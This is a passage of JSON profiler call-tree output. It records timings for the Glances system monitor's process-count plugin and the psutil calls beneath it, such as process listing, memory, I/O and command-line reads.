\"urlparse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000374\",\"time\": 0.002001,\"attributes\": {\"l395\": 0.002000794993364252},\"children\": [{\"identifier\": \"_urlparse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000399\",\"time\": 0.002001,\"attributes\": {\"l400\": 0.002000794993364252},\"children\": [{\"identifier\": \"_urlsplit\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000499\",\"time\": 0.002001,\"attributes\": {\"l502\": 0.002000794993364252},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.059990,\"attributes\": {\"cProcesscountPlugin\": 0.059990087000187486, \"l85\": 0.059990087000187486},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.059990,\"attributes\": {\"cGlancesProcesses\": 0.059990087000187486, \"l617\": 0.053990131003956776, \"l650\": 0.0019997290000901558, \"l659\": 0.0040002269961405545},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.053990,\"attributes\": {\"cGlancesProcesses\": 0.053990131003956776, \"l478\": 0.04599047000374412, \"l493\": 0.007999661000212654},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.045990,\"attributes\": {\"l1541\": 0.0020080160029465333, \"l1558\": 0.04198245199950179, \"l1559\": 0.0020000020012957975},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002008,\"attributes\": {\"l1485\": 0.0020080160029465333},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002008,\"attributes\": {\"l1526\": 0.0020080160029465333},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002008,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.023983,\"attributes\": {\"cProcess\": 0.02398286000243388, \"l579\": 0.01798886898905039, \"l572\": 0.0019938860059482977, \"l578\": 0.004000105007435195},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001988,\"attributes\": {\"cProcess\": 0.0019880339968949556, \"l382\": 0.0019880339968949556},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001988,\"attributes\": {\"cProcess\": 0.0019880339968949556, \"l1138\": 0.0019880339968949556},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001988,\"attributes\": {\"cProcess\": 0.0019880339968949556, \"l1593\": 0.0019880339968949556},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001988,\"attributes\": {\"cProcess\": 0.0019880339968949556, \"l1878\": 0.0019880339968949556},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001988,\"attributes\": {\"l682\": 0.0019880339968949556},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001988,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001988,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001994,\"attributes\": {\"c_GeneratorContextManager\": 0.0019938860059482977, \"l141\": 0.0019938860059482977},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001994,\"attributes\": {\"cProcess\": 0.0019938860059482977, \"l526\": 0.0019938860059482977},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996679984615184, \"l680\": 0.0019996679984615184},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996679984615184, \"l1593\": 0.0019996679984615184},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996679984615184, \"l1740\": 0.0019996679984615184},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996679984615184, \"l1593\": 0.0019996679984615184},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996679984615184, \"l391\": 0.0019996679984615184},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200230300106341, \"l836\": 0.00200230300106341},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200230300106341, \"l1593\": 0.00200230300106341},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.00200230300106341, \"l1796\": 0.00200230300106341},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.00200230300106341},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999458996579051, \"l687\": 0.001999458996579051},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999458996579051, \"l748\": 0.001999458996579051},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999458996579051, \"l1593\": 0.001999458996579051},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999458996579051, \"l1750\": 0.001999458996579051},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.001999,\"attributes\": {\"l692\": 0.001999458996579051},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020619995193556, \"l1064\": 0.0020020619995193556},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997100996959489, \"l687\": 0.001997100996959489},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997100996959489, \"l748\": 0.001997100996959489},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997100996959489, \"l1593\": 0.001997100996959489},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997100996959489, \"l1754\": 0.001997100996959489},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997100996959489, \"l1647\": 0.001997100996959489},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997100996959489, \"l1638\": 0.001997100996959489},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989489956060424, \"l1079\": 0.0019989489956060424},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989489956060424, \"l1593\": 0.0019989489956060424},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989489956060424, \"l1829\": 0.0019989489956060424},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989489956060424, \"l1593\": 0.0019989489956060424},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001122004003264, \"l836\": 0.002001122004003264},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001122004003264, \"l1593\": 0.002001122004003264},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001122004003264, \"l1796\": 0.002001122004003264},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002001,\"attributes\": {\"l682\": 0.002001122004003264},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000170999963302, \"l680\": 0.002000170999963302},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000170999963302, \"l1593\": 0.002000170999963302},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000170999963302, \"l1740\": 0.002000170999963302},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000170999963302, \"l1593\": 0.002000170999963302},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000170999963302, \"l382\": 0.002000170999963302},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.018000,\"attributes\": {\"cProcess\": 0.01799959199706791, \"l579\": 0.01799959199706791},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.00400320699554868, \"l680\": 0.002001141998334788, \"l687\": 0.0020020649972138926},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001141998334788, \"l1593\": 0.002001141998334788},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001141998334788, \"l1740\": 0.002001141998334788},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001141998334788, \"l1593\": 0.002001141998334788},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001141998334788, \"l382\": 0.002001141998334788},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001141998334788, \"l1683\": 0.002001141998334788},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.002001141998334788},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l718\": 0.002001141998334788},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020649972138926, \"l748\": 0.0020020649972138926},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020649972138926, \"l1593\": 0.0020020649972138926},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020649972138926, \"l1751\": 0.0020020649972138926},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019974169990746304, \"l836\": 0.0019974169990746304},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019974169990746304, \"l1593\": 0.0019974169990746304},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019974169990746304, \"l1796\": 0.0019974169990746304},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001997,\"attributes\": {\"l682\": 0.0019974169990746304},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999719999730587, \"l1064\": 0.001999719999730587},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002000,\"attributes\": {\"l1682\": 0.001999719999730587},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002000,\"attributes\": {\"l538\": 0.001999719999730587},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999363004870247, \"l836\": 0.001999363004870247},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999363004870247, \"l1593\": 0.001999363004870247},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999363004870247, \"l1796\": 0.001999363004870247},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.001999363004870247},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999079959234223, \"l680\": 0.0019999079959234223},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999079959234223, \"l1593\": 0.0019999079959234223},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999079959234223, \"l1740\": 0.0019999079959234223},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999079959234223, \"l1593\": 0.0019999079959234223},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999079959234223, \"l382\": 0.0019999079959234223},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999079959234223, \"l1687\": 0.0019999079959234223},\"children\": [{\"identifier\": \"bytes.rfind\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000182001211215, \"l836\": 0.002000182001211215},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000182001211215, \"l1595\": 0.002000182001211215},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999795000709128, \"l382\": 0.003999795000709128},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999795000709128, \"l1138\": 0.003999795000709128},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999795000709128, \"l1593\": 0.003999795000709128},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999719999730587, \"l1878\": 0.001999719999730587},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999661000212654, \"l639\": 0.007999661000212654},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999661000212654, \"l314\": 0.007999661000212654},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999661000212654, \"l347\": 0.007999661000212654},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999661000212654, \"l394\": 0.007999661000212654},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999661000212654, \"l1593\": 0.007999661000212654},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999661000212654, \"l1857\": 0.007999661000212654},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999661000212654, \"l1593\": 0.007999661000212654},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999661000212654, \"l375\": 0.007999661000212654},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001250999455806, \"l1683\": 0.002001250999455806},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.002001250999455806},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l718\": 0.002001250999455806},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999901004135609, \"l1683\": 0.002000240005145315, \"l1689\": 0.0019996609989902936},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.002000240005145315},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.002000240005145315},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"maybe_add_cached_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000567\",\"time\": 